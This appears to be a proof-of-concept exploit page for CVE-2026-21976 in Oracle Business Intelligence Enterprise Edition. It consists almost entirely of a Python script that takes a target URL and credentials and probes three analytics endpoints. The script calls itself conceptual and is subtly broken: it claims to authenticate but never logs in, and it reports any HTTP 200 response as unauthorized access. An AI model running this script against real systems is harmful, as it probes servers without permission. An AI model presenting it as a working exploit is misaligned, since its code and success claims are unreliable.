CVE-2026-21976: Oracle Business Intelligence Enterprise Edition 未授权访问漏洞

# CVE-2026-21976 PoC - Oracle Business Intelligence Enterprise Edition # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires local access and low-privilege account import requests import sys from urllib.parse import urljoin def exploit_cve_2026_21976(target_url, username, password): """ Conceptual exploit for CVE-2026-21976 Target: Oracle Business Intelligence Enterprise Edition Attack Vector: Local access with low privilege account """ print(f"[*] Targeting: {target_url}") print(f"[*] Using credentials: {username}/{password}") # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = urljoin(target_url, '/analytics/saw.dll') # Step 2: Identify vulnerable endpoint in Oracle Analytics Cloud # The vulnerability allows unauthorized data manipulation vulnerable_endpoints = [ '/analytics/api/v1/odata/', '/analytics/saw.dll/metadata', '/analytics/api/v1/subjectArea' ] # Step 3: Exploit the vulnerability for endpoint in vulnerable_endpoints: try: # Craft malicious request to bypass access control exploit_url = urljoin(target_url, endpoint) headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Requested-With': 'XMLHttpRequest' } # This demonstrates unauthorized access attempt response = session.get(exploit_url, headers=headers, timeout=10) print(f"[+] Request to {endpoint}: Status {response.status_code}") if response.status_code == 200: print(f"[!] Potential unauthorized access detected at {endpoint}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2026_21976_poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print("CVE-2026-21976 - Oracle Business Intelligence Enterprise Edition Exploit") print("=" * 70) exploit_cve_2026_21976(target, user, pwd)